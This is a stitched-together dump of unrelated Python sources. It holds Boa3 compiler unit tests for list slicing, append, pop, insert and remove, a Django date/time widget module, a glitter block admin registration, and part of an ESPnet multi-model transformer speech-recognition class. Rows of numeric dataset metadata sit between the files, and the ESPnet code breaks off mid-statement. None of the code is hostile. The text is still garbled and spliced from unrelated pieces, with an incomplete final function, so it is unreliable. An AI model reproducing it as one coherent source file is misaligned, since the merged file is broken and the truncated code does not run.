Opcode.PICK + Opcode.LT + Opcode.JMPIF # end while index < slice end + Integer(-34).to_byte_array(min_length=1) + Opcode.DROP + Opcode.REVERSE4 + Opcode.DROP + Opcode.DROP + Opcode.DROP + Opcode.RET # return ) path = self.get_contract_path('ListSlicingStartOmitted.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([0, 1, 2], result) def test_list_slicing_omitted(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH5 # a = [0, 1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH0 + Opcode.PUSH6 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # return a[:] + Opcode.UNPACK + Opcode.PACK + Opcode.RET # return ) path = self.get_contract_path('ListSlicingOmitted.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([0, 1, 2, 3, 4, 5], result) def test_list_slicing_end_omitted(self): path = self.get_contract_path('ListSlicingEndOmitted.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([2, 3, 4, 5], result) def test_list_slicing_omitted_stride(self): path = self.get_contract_path('ListSlicingWithStride.py') self.assertCompilerLogs(CompilerError.InternalError, path) def test_list_slicing_omitted_with_stride(self): path = self.get_contract_path('ListSlicingOmittedWithStride.py') self.assertCompilerLogs(CompilerError.InternalError, path) # endregion # region TestAppend def test_list_append_int_value(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # a.append(4) + Opcode.PUSH4 + Opcode.OVER + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(5).to_byte_array(min_length=1) + Opcode.CAT + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.APPEND + Opcode.JMP + Integer(3).to_byte_array(min_length=1) + Opcode.STLOC0 + Opcode.LDLOC0 # return a + Opcode.RET ) path = self.get_contract_path('AppendIntValue.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, 4], result) def test_list_append_any_value(self): four = String('4').to_bytes(min_length=1) expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # a.append(4) + Opcode.PUSHDATA1 + Integer(len(four)).to_byte_array() + four + Opcode.OVER + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(5).to_byte_array(min_length=1) + Opcode.CAT + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.APPEND + Opcode.JMP + Integer(3).to_byte_array(min_length=1) + Opcode.STLOC0 + Opcode.LDLOC0 # return a + Opcode.RET ) path = self.get_contract_path('AppendAnyValue.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, '4'], result) def test_list_append_mismatched_type(self): path = self.get_contract_path('MismatchedTypeAppendValue.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_list_append_with_builtin(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # list.append(a, 4) + Opcode.PUSH4 + Opcode.OVER + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(5).to_byte_array(min_length=1) + Opcode.CAT + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.APPEND + Opcode.JMP + Integer(3).to_byte_array(min_length=1) + Opcode.STLOC0 + Opcode.LDLOC0 # return a + Opcode.RET ) path = self.get_contract_path('AppendIntWithBuiltin.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, 4], result) def test_list_append_with_builtin_mismatched_type(self): path = self.get_contract_path('MismatchedTypeAppendWithBuiltin.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_boa2_list_append_test(self): path = self.get_contract_path('AppendBoa2Test.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main') self.assertEqual([6, 7], result) # endregion # region TestClear def test_list_clear(self): path = self.get_contract_path('ClearList.py') expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x02' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # a.clear() + Opcode.DUP + Opcode.ISTYPE + Type.bytearray.stack_item + Opcode.JMPIFNOT + Integer(9).to_byte_array(min_length=1) + Opcode.DROP + Opcode.PUSHDATA1 + Integer(0).to_byte_array(min_length=1) + Opcode.CONVERT + Type.bytearray.stack_item + Opcode.JMP + Integer(5).to_byte_array(min_length=1) + Opcode.CLEARITEMS + Opcode.JMP + Integer(3).to_byte_array(min_length=1) + Opcode.STLOC0 + Opcode.LDLOC0 # return a + Opcode.RET ) output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_reverse(self): path = self.get_contract_path('ReverseList.py') expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH3 # a = [1, 2, 3] + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH3 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # a.reverse() + Opcode.REVERSEITEMS + Opcode.LDLOC0 # return a + Opcode.RET ) output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_boa2_list_reverse_test(self): path = self.get_contract_path('ReverseBoa2Test.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main') self.assertEqual(['blah', 4, 2, 1], result) # endregion # region TestExtend def test_list_extend_tuple_value(self): path = self.get_contract_path('ExtendTupleValue.py') output = Boa3.compile(path) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, 4, 5, 6], result) def test_list_extend_any_value(self): path = self.get_contract_path('ExtendAnyValue.py') output = Boa3.compile(path) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, '4', 5, 1], result) def test_list_extend_mismatched_type(self): path = self.get_contract_path('MismatchedTypeExtendValue.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_list_extend_mismatched_iterable_value_type(self): path = self.get_contract_path('MismatchedTypeExtendTupleValue.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_list_extend_with_builtin(self): path = self.get_contract_path('ExtendWithBuiltin.py') output = Boa3.compile(path) engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 3, 4, 5, 6], result) def test_list_extend_with_builtin_mismatched_type(self): path = self.get_contract_path('MismatchedTypeExtendWithBuiltin.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) # endregion # region TestPop def test_list_pop(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x02' + b'\x00' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop() + Opcode.PUSHM1 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.STLOC1 + Opcode.LDLOC1 # return b + Opcode.RET ) path = self.get_contract_path('PopList.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_pop_without_assignment(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x01' + b'\x00' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop() + Opcode.PUSHM1 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.DROP + Opcode.LDLOC0 # return a + Opcode.RET ) path = self.get_contract_path('PopListWithoutAssignment.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_pop_literal_argument(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x02' + b'\x00' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop(2) + Opcode.PUSH2 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.STLOC1 + Opcode.LDLOC1 # return b + Opcode.RET ) path = self.get_contract_path('PopListLiteralArgument.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_pop_literal_negative_argument(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x02' + b'\x00' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop(-2) + Opcode.PUSH2 + Opcode.NEGATE + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.STLOC1 + Opcode.LDLOC1 # return b + Opcode.RET ) path = self.get_contract_path('PopListLiteralNegativeArgument.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_pop_literal_variable_argument(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x02' + b'\x01' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop(arg0) + Opcode.LDARG0 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.STLOC1 + Opcode.LDLOC1 # return b + Opcode.RET ) path = self.get_contract_path('PopListVariableArgument.py') output = Boa3.compile(path) self.assertEqual(expected_output, output) def test_list_pop_mismatched_type_argument(self): path = self.get_contract_path('PopListMismatchedTypeArgument.py') self.assertCompilerLogs(CompilerError.MismatchedTypes, path) def test_list_pop_mismatched_type_result(self): expected_output = ( Opcode.INITSLOT # function signature + b'\x02' + b'\x00' + Opcode.PUSH5 # a = [1, 2, 3, 4, 5] + Opcode.PUSH4 + Opcode.PUSH3 + Opcode.PUSH2 + Opcode.PUSH1 + Opcode.PUSH5 + Opcode.PACK + Opcode.STLOC0 + Opcode.LDLOC0 # b = a.pop(2) + Opcode.PUSH2 + Opcode.DUP + Opcode.SIGN + Opcode.PUSHM1 + Opcode.JMPNE + Integer(5).to_byte_array(min_length=1, signed=True) + Opcode.OVER + Opcode.SIZE + Opcode.ADD + Opcode.OVER + Opcode.OVER + Opcode.PICKITEM + Opcode.REVERSE3 + Opcode.SWAP + Opcode.REMOVE + Opcode.STLOC1 + Opcode.LDLOC1 # return b + Opcode.RET ) path = self.get_contract_path('PopListMismatchedTypeResult.py') output = self.assertCompilerLogs(CompilerWarning.TypeCasting, path) self.assertEqual(expected_output, output) engine = TestEngine() result = self.run_smart_contract(engine, path, 'pop_test') self.assertEqual(3, result) def test_list_pop_too_many_arguments(self): path = self.get_contract_path('PopListTooManyArguments.py') self.assertCompilerLogs(CompilerError.UnexpectedArgument, path) def test_boa2_list_remove_test(self): path = self.get_contract_path('RemoveBoa2Test.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'main') self.assertEqual([16, 3, 4], result) # endregion # region TestInsert def test_list_insert_int_value(self): path = self.get_contract_path('InsertIntValue.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 4, 3], result) def test_list_insert_any_value(self): path = self.get_contract_path('InsertAnyValue.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, '4', 2, 3], result) def test_list_insert_int_negative_index(self): path = self.get_contract_path('InsertIntNegativeIndex.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 4, 2, 3], result) def test_list_insert_int_with_builtin(self): path = self.get_contract_path('InsertIntWithBuiltin.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([1, 2, 4, 3], result) # endregion # region TestRemove def test_list_remove_value(self): path = self.get_contract_path('RemoveValue.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4], 3) self.assertEqual([1, 2, 4], result) result = self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 2, 3], 3) self.assertEqual([1, 2, 2, 3], result) with self.assertRaises(TestExecutionException): self.run_smart_contract(engine, path, 'Main', [1, 2, 3, 4], 6) def test_list_remove_int_value(self): path = self.get_contract_path('RemoveIntValue.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([10, 30], result) def test_list_remove_int_with_builtin(self): path = self.get_contract_path('RemoveIntWithBuiltin.py') engine = TestEngine() result = self.run_smart_contract(engine, path, 'Main') self.assertEqual([10, 20], result) # endregion
33.849565
91
0.545611
4,042
38,927
5.079169
0.069025
0.033122
0.032684
0.056454
0.849878
0.825426
0.790502
0.773746
0.741841
0.705407
0
0.029969
0.352814
38,927
1,149
92
33.879025
0.78494
0.045084
0
0.767839
0
0
0.049021
0.02389
0
0
0
0
0.092462
1
0.061307
false
0
0.01005
0
0.073367
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3d982c0ce002f70bc04c93d7c1e24b473a445024
1,480
py
Python
rail/my_widgets.py
MohitSinghal2811/IR-PRS
c04e310e413e34630ce4b7cd88b3456bfaeb76b2
[ "MIT" ]
1
2020-11-29T16:53:49.000Z
2020-11-29T16:53:49.000Z
rail/my_widgets.py
harshit37/IR-PRS
c04e310e413e34630ce4b7cd88b3456bfaeb76b2
[ "MIT" ]
null
null
null
rail/my_widgets.py
harshit37/IR-PRS
c04e310e413e34630ce4b7cd88b3456bfaeb76b2
[ "MIT" ]
1
2021-03-30T13:53:32.000Z
2021-03-30T13:53:32.000Z
from django import forms from django.template import loader from django.utils.safestring import mark_safe class MyDateWidget(forms.Widget): template_name = 'widgets/date_field.html' def get_context(self, name, value, attrs=None): return {'widget': { 'name': name, 'value': value, }} def render(self, name, value, attrs=None, renderer = None): context = self.get_context(name, value, attrs) template = loader.get_template(self.template_name).render(context) return mark_safe(template) class MyTimeWidget(forms.Widget): template_name = 'widgets/time_field.html' def get_context(self, name, value, attrs=None): return {'widget': { 'name': name, 'value': value, }} def render(self, name, value, attrs=None, renderer = None): context = self.get_context(name, value, attrs) template = loader.get_template(self.template_name).render(context) return mark_safe(template) class MyTestWidget(forms.Widget): template_name = 'widgets/test_field.html' def get_context(self, name, value, attrs=None): return {'widget': { 'name': name, 'value': value, }} def render(self, name, value, attrs=None, renderer = None): context = self.get_context(name, value, attrs) template = loader.get_template(self.template_name).render(context) return mark_safe(template)
30.204082
74
0.641216
175
1,480
5.297143
0.182857
0.116505
0.135922
0.116505
0.845739
0.748652
0.748652
0.748652
0.748652
0.748652
0
0
0.243243
1,480
48
75
30.833333
0.827679
0
0
0.75
0
0
0.077027
0.046622
0
0
0
0
0
1
0.166667
false
0
0.083333
0.083333
0.583333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3db9b7d05fe643f8af371301203ec6b88977bf26
175
py
Python
glitter/blocks/call_to_action/admin.py
dhamaniasad/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
3
2017-06-01T16:22:18.000Z
2018-08-22T21:45:55.000Z
glitter/blocks/call_to_action/admin.py
blancltd/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
85
2016-02-25T10:34:03.000Z
2017-04-03T11:07:59.000Z
glitter/blocks/call_to_action/admin.py
dhamaniasad/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
1
2020-04-21T19:14:11.000Z
2020-04-21T19:14:11.000Z
from glitter.blockadmin import blocks from .models import CallToActionBlock blocks.site.register(CallToActionBlock) blocks.site.register_block(CallToActionBlock, 'Common')
21.875
55
0.845714
19
175
7.736842
0.578947
0.312925
0.367347
0.47619
0
0
0
0
0
0
0
0
0.08
175
7
56
25
0.913043
0
0
0
0
0
0.034286
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
3dfa7abbbb23ee7f1477983fc95f355f8b2f76d8
86
py
Python
src/igor/__init__.py
CaptainCuddleCube/igor
41a145ba9c0a011ac166ce2036c8a633f8cdee3b
[ "MIT" ]
4
2019-10-05T19:13:38.000Z
2019-10-06T17:30:55.000Z
src/igor/__init__.py
CaptainCuddleCube/igor
41a145ba9c0a011ac166ce2036c8a633f8cdee3b
[ "MIT" ]
null
null
null
src/igor/__init__.py
CaptainCuddleCube/igor
41a145ba9c0a011ac166ce2036c8a633f8cdee3b
[ "MIT" ]
null
null
null
from igor.app.igor import Igor from igor.app.slack_message import send_slack_message
21.5
53
0.848837
15
86
4.666667
0.466667
0.228571
0.314286
0
0
0
0
0
0
0
0
0
0.104651
86
3
54
28.666667
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9a7890139efd4c126890ef4600027ef6de43dfea
85,858
py
Python
espnet/nets/pytorch_backend/e2e_asr_transformer_cl.py
sadhusamik/espnet
669d4125b0f97c5c1594313855d6844ec6e10950
[ "Apache-2.0" ]
null
null
null
espnet/nets/pytorch_backend/e2e_asr_transformer_cl.py
sadhusamik/espnet
669d4125b0f97c5c1594313855d6844ec6e10950
[ "Apache-2.0" ]
null
null
null
espnet/nets/pytorch_backend/e2e_asr_transformer_cl.py
sadhusamik/espnet
669d4125b0f97c5c1594313855d6844ec6e10950
[ "Apache-2.0" ]
1
2021-11-27T03:10:00.000Z
2021-11-27T03:10:00.000Z
# Copyright 2019 Shigeki Karita # Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) """Transformer speech recognition model (pytorch).""" import sys from argparse import Namespace import logging import math from copy import deepcopy import numpy import torch from torch import nn from espnet.nets.asr_interface import ASRInterface from espnet.nets.ctc_prefix_score import CTCPrefixScore from espnet.nets.e2e_asr_common import end_detect from espnet.nets.e2e_asr_common import ErrorCalculator from espnet.nets.pytorch_backend.ctc import CTC from espnet.nets.pytorch_backend.e2e_asr import CTC_LOSS_THRESHOLD from espnet.nets.pytorch_backend.e2e_asr import Reporter from espnet.nets.pytorch_backend.nets_utils import get_subsample from espnet.nets.pytorch_backend.nets_utils import make_non_pad_mask from espnet.nets.pytorch_backend.nets_utils import th_accuracy from espnet.nets.pytorch_backend.rnn.decoders import CTC_SCORING_RATIO from espnet.nets.pytorch_backend.transformer.add_sos_eos import add_sos_eos from espnet.nets.pytorch_backend.transformer.argument import ( add_arguments_transformer_common, # noqa: H301 ) from espnet.nets.pytorch_backend.transformer.attention import ( MultiHeadedAttention, # noqa: H301 RelPositionMultiHeadedAttention, # noqa: H301 ) from espnet.nets.pytorch_backend.transformer.decoder import Decoder from espnet.nets.pytorch_backend.transformer.dynamic_conv import DynamicConvolution from espnet.nets.pytorch_backend.transformer.dynamic_conv2d import DynamicConvolution2D from espnet.nets.pytorch_backend.transformer.encoder import Encoder from espnet.nets.pytorch_backend.transformer.initializer import initialize from espnet.nets.pytorch_backend.transformer.label_smoothing_loss import ( LabelSmoothingLoss, # noqa: H301 ) from espnet.nets.pytorch_backend.transformer.mask import subsequent_mask from espnet.nets.pytorch_backend.transformer.mask import target_mask from espnet.nets.pytorch_backend.transformer.plot import PlotAttentionReport from espnet.nets.scorers.ctc import CTCPrefixScorer from espnet.utils.fill_missing_args import fill_missing_args class E2E(ASRInterface, torch.nn.Module): """E2E module with several parallel ASR models. :param int idim: dimension of inputs :param int odim: dimension of outputs :param Namespace args: argument Namespace containing options """ @staticmethod def add_arguments(parser): """Add arguments.""" group = parser.add_argument_group("transformer model setting") group = add_arguments_transformer_common(group) return parser @property def attention_plot_class(self): """Return PlotAttentionReport.""" return PlotAttentionReport def get_total_subsampling_factor(self): """Get total subsampling factor.""" return self.encoder.conv_subsampling_factor * int(numpy.prod(self.subsample)) def __init__(self, all_models, all_pms, all_enc_pms=None, all_enc_cmvn=None, ignore_id=-1): """Second level E2E object combining multiple E2E models. Will assume that all the parallem models are pure CTC or multitask, but not combinations of CTC and multitask :param list all_models: List of all transformer models to be used in parallel :param list all_pms: List of all performance monitors for model combination """ torch.nn.Module.__init__(self) self.all_models = all_models self.all_pms = all_pms self.all_enc_pms = all_enc_pms self.all_enc_cmvn = all_enc_cmvn if all_pms: assert len(all_models) == len(all_pms) if all_enc_pms: assert len(all_models) == len(all_enc_pms) assert all_enc_cmvn is not None assert len(all_enc_cmvn) == len(all_enc_pms) self.stream_num = len(all_models) def reset_parameters(self, args): """Initialize parameters.""" # initialize parameters initialize(self, args.transformer_init) def scorers(self): """Scorers.""" return dict(decoder=self.decoder, ctc=CTCPrefixScorer(self.ctc, self.eos)) def encode(self, x): """Encode acoustic features. :param ndarray x: source acoustic feature (T, D) :return: encoder outputs :rtype: torch.Tensor """ self.eval() x = torch.as_tensor(x).unsqueeze(0) enc_output, _ = self.encoder(x, None) return enc_output.squeeze(0) def vae_loss(self, x, ae_out, latent_out, out_dist='gauss', temp=30, type='prod', chop=None): import numpy as np if chop: num_fr = x.shape[1] perc = int(np.ceil(chop * 100)) selection = np.random.randint(0, num_fr, perc) # Chop the utterances x = x[:, selection, :] ae_out = ae_out[:, selection, :] latent_out = (latent_out[0][:, selection, :], latent_out[1][:, selection, :]) if out_dist == 'gauss': log_lhood = torch.mean(-0.5 * torch.pow((x - ae_out), 2) - 0.5 * np.log(2 * np.pi * 1), dim=2) elif out_dist == 'laplace': log_lhood = torch.mean(-torch.abs(x - ae_out) - np.log(2), dim=2) else: logging.error("Output distribution of VAE can be 'gauss' or 'laplace'") raise ValueError("Output distribution of VAE can be 'gauss' or 'laplace'") kl_loss = 0.5 * torch.mean( 1 - torch.pow(latent_out[0], 2) - torch.pow(torch.exp(latent_out[1]), 2) + 2 * latent_out[1], dim=2) score = log_lhood[0] + kl_loss[0] llhood = deepcopy(score.data.numpy()) if type == 'prod': score = torch.exp(temp * torch.mean(score)) elif type == 'sum': score = torch.sum(torch.exp(temp * score)) else: raise ValueError("Score type can only be 'sum' or 'prod'") return score, llhood def ae_loss(self, x, ae_out, out_dist='gauss'): if out_dist == 'gauss': loss = torch.mean(torch.pow((x - ae_out), 2)) elif out_dist == 'laplace': loss = torch.mean(torch.abs(x - ae_out)) else: logging.error("Output distribution of VAE can be 'gauss' or 'laplace'") raise ValueError("Output distribution of VAE can be 'gauss' or 'laplace'") return loss def sym_kld(self, X, Y): return torch.sum(X * (torch.log(X) - torch.log(Y))) / X.size(0) + torch.sum( Y * (torch.log(Y) - torch.log(X))) / X.size(0) def mmeasure_loss(self, X, del_list=[1, 2, 3, 4, 5, 6, 7], use_gpu=False): kld = nn.KLDivLoss() if use_gpu: m_acc = torch.FloatTensor([0]).cuda() else: m_acc = torch.FloatTensor([0]) for d in del_list: m_acc += self.sym_kld(X[d:, :], X[0:-d, :]) + kld(X[0:-d:, :], X[d:, :]) return m_acc / len(del_list) def update_temp(self, temp, wts, A, B, lr=0.01): import numpy as np A = np.asarray([np.mean(x) for x in A]) S1 = np.sum(wts) S2 = np.sum(A * wts) S3 = 0 * B[0] S4 = 0 * B[0] tempp = A * wts for idx, x in enumerate(B): S3 += wts[idx] * x S4 += tempp[idx] * x grad_acc = np.mean(S4 / S1 - S2 * S3 / (S1 ** 2)) logging.info("computed temperature gradient is {:f}".format(grad_acc)) logging.info("Changing temperature from {:f} to {:f}".format(temp, temp - lr * grad_acc)) return temp - lr * grad_acc def apply_cmvn(self, X, means, vars): import numpy as np return (X - torch.as_tensor(means)) / torch.as_tensor(np.sqrt(vars)) def wer_given_wts(self, x, recog_args, char_list=None, rnnlm=None, use_jit=False): """Compute differentiable WER given a bunch of combination weights. :param ndnarray x: input acoustic feature (B, T, D) or (T, D) :param Namespace recog_args: argment Namespace contraining options :param list char_list: list of characters :param torch.nn.Module rnnlm: language model module :return: N-best decoding results :rtype: list """ logging.info("Using score type {:s}".format(recog_args.score_type)) logging.info("Using temperature {:f}".format(recog_args.temperature)) if recog_args.general_p: logging.info( "Using generalized mean classifier combination with parameter p={:f}".format(recog_args.general_p)) else: logging.info("Using {:s} rule of classifier combination".format(recog_args.rule)) all_enc_outputs = [] for model in self.all_models: all_enc_outputs.append(model.encode(x).unsqueeze(0)) # if recog_args.dump_llhoods: all_llhoods = [] # Get performance monitor Scores if recog_args.oracle_wts: oracle_run = True else: oracle_run = False if oracle_run: pm_scores_ctc = self.all_pms['lpz'] pm_scores_attn = self.all_pms['attn'] pm_scores_nn = pm_scores_attn else: if recog_args.pm_type == "vae" or recog_args.pm_type == "ae": pm_scores = torch.zeros(self.stream_num) for idx, pm_model in enumerate(self.all_pms): ae_out, latent_out = pm_model(torch.as_tensor(x).unsqueeze(0), torch.IntTensor([x.shape[0]])) if recog_args.pm_type == "vae": pm_scores[idx], llhood = self.vae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) elif recog_args.pm_type == "ae": pm_scores[idx] = -self.ae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, out_dist='laplace') # if recog_args.dump_llhoods: all_llhoods.append(llhood) elif recog_args.pm_type == "weighted": pm_scores = torch.as_tensor(self.all_pms) elif recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": pm_scores_ctc = torch.zeros(self.stream_num) pm_scores_attn = torch.zeros(self.stream_num) if oracle_run: logging.info("Using oracle performance monitor") else: if recog_args.pm_type == "mmeasure" or recog_args.pm_type == "mmeasure_addlm": logging.info("Using {:s} performance monitor".format(recog_args.pm_type)) else: pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): logging.info("Confidence score for ASR " + str(idx) + " is " + str(psc.detach().numpy())) if self.all_models[0].mtlalpha == 1.0: # Assuming all models are pure CTC recog_args.ctc_weight = 1.0 logging.info("Set to pure CTC decoding mode.") if self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight == 1.0: from itertools import groupby all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.softmax(all_enc_outputs[idx])) lpz = 0 * all_lpz[0] for idx, pm_model in enumerate(self.all_pms): lpz += pm_scores[idx] * all_lpz[idx] lpz = torch.argmax(lpz, dim=2) collapsed_indices = [x[0] for x in groupby(lpz[0])] hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)] nbest_hyps = [{"score": 0.0, "yseq": [self.sos] + hyp}] if recog_args.beam_size > 1: raise NotImplementedError("Pure CTC beam search is not implemented.") # TODO(hirofumi0810): Implement beam search return nbest_hyps elif self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight > 0.0: all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.log_softmax(all_enc_outputs[idx]).squeeze(0)) if not oracle_run: if recog_args.pm_type == "mmeasure" or 